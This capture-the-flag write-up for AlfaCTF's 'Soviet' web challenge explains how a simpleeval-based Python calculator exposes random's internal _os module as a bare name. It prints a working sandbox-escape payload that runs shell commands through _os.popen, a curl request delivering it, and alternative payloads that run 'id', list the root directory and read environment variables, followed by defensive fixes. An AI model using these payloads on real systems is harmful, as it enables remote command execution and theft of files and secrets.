Soviet
Soviet
Platform: alfactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2025-12-21 | Status: Solved Techniques: NA
Summary
Task: Python calculator using simpleeval library with random module exposed. Solution: Exploited that random module imports os as _os internally, and name resolution (_eval_name) does not check underscore prefix unlike attribute access (_eval_attribute).
Soviet — AlfaCTF
Description
На горизонте всплывает огромный баннер: «Вам нужен всего лишь простой советский...». О чём именно речь — непонятно. Но реклама преследует вас по всему острову и не даёт наслаждаться видами.
Обычный крестик не работает — ох уж эти чёрные паттерны... или красные? Раскопайте, как отключается назойливая реклама советского магазина, пока всё небо не покрылось всплывающими окнами.
Target: https://soviet-ka5d04kx.alfactf.ru/
Analysis
Source Code
The application is a "Soviet Store" with a calculator that uses the simpleeval library for "safe" expression evaluation.
config.py — Allowed Functions Definition
python read-only • copy allowedimport math import random def get_allowed_functions(): functions = { **{fname: func for fname, func in math.__dict__.items() if not fname.startswith('__')}, **{fname: func for fname, func in random.__dict__.items() if not fname.startswith('__')}, } return functions
Problem: The filter only excludes attributes starting with __ (double underscore). But the random module internally imports os as _os:
python read-only • copy allowed# In random.py source code import os as _os
Thus, _os (the os module!) ends up in the allowed functions!
action.py — Using simpleeval
python read-only • copy allowedfrom simpleeval import EvalWithCompoundTypes from config import get_allowed_functions def safe_eval(expression): evaluator = EvalWithCompoundTypes(functions=get_allowed_functions()) return evaluator.eval(expression)
safeCalc.py — Attribute Checking
The custom class has an _eval_attribute() method that checks for forbidden prefixes:
python read-only • copy alloweddef _eval_attribute(self, node): # Check for forbidden attributes if node.attr.startswith('_'): raise NameError(f"Attribute '{node.attr}' is not allowed") ...
Critical vulnerability: The _ prefix check exists only in _eval_attribute() for attribute access via dot notation (e.g., obj.attr). But the _eval_name() method, which resolves variable/function names, does NOT check prefixes!
Difference Between Name and Attribute in AST
python read-only • copy allowed# Name node - variable/function name resolution _os # -> _eval_name() - NO check for _ # Attribute node - object attribute access random._os # -> _eval_attribute() - HAS check for _
Dockerfile — Flag Location
dockerfile read-only • copy allowedCOPY how_to_block_ads.txt /how_to_block_ads.txt
Solution
Exploitation
- Calculator is available at
/calculator - Expressions are sent via POST request to
/ - Use
_osdirectly as a name (not as an attribute), bypassing the check
Payload
_os.popen('cat /how_to_block_ads.txt').read()
Exploit
bash read-only • copy allowedcurl -s "https://soviet-ka5d04kx.alfactf.ru/" -X POST \ --data-urlencode "calc=_os.popen('cat /how_to_block_ads.txt').read()"
Response
json read-only • copy allowed{"result":"alfa{REDACTED}\n"}
Techniques
- simpleeval sandbox escape — bypassing "safe" eval restrictions
- Python module internals — using internal module imports
- Name vs Attribute resolution — difference in security checks
Alternative Payloads
python read-only • copy allowed# Reading files _os.popen('ls -la /').read() _os.popen('id').read() # Via environ _os.environ.get('FLAG')
Defense
- Whitelist instead of blacklist — explicitly specify allowed functions
- Check all access methods — both name resolution and attribute access
- Don't use modules with dangerous imports — random contains _os
- Use RestrictedPython — a stricter sandbox
python read-only • copy allowed# Safe variant ALLOWED_FUNCTIONS = { 'sin': math.sin, 'cos': math.cos, 'sqrt': math.sqrt, # Explicit whitelist without automatic import }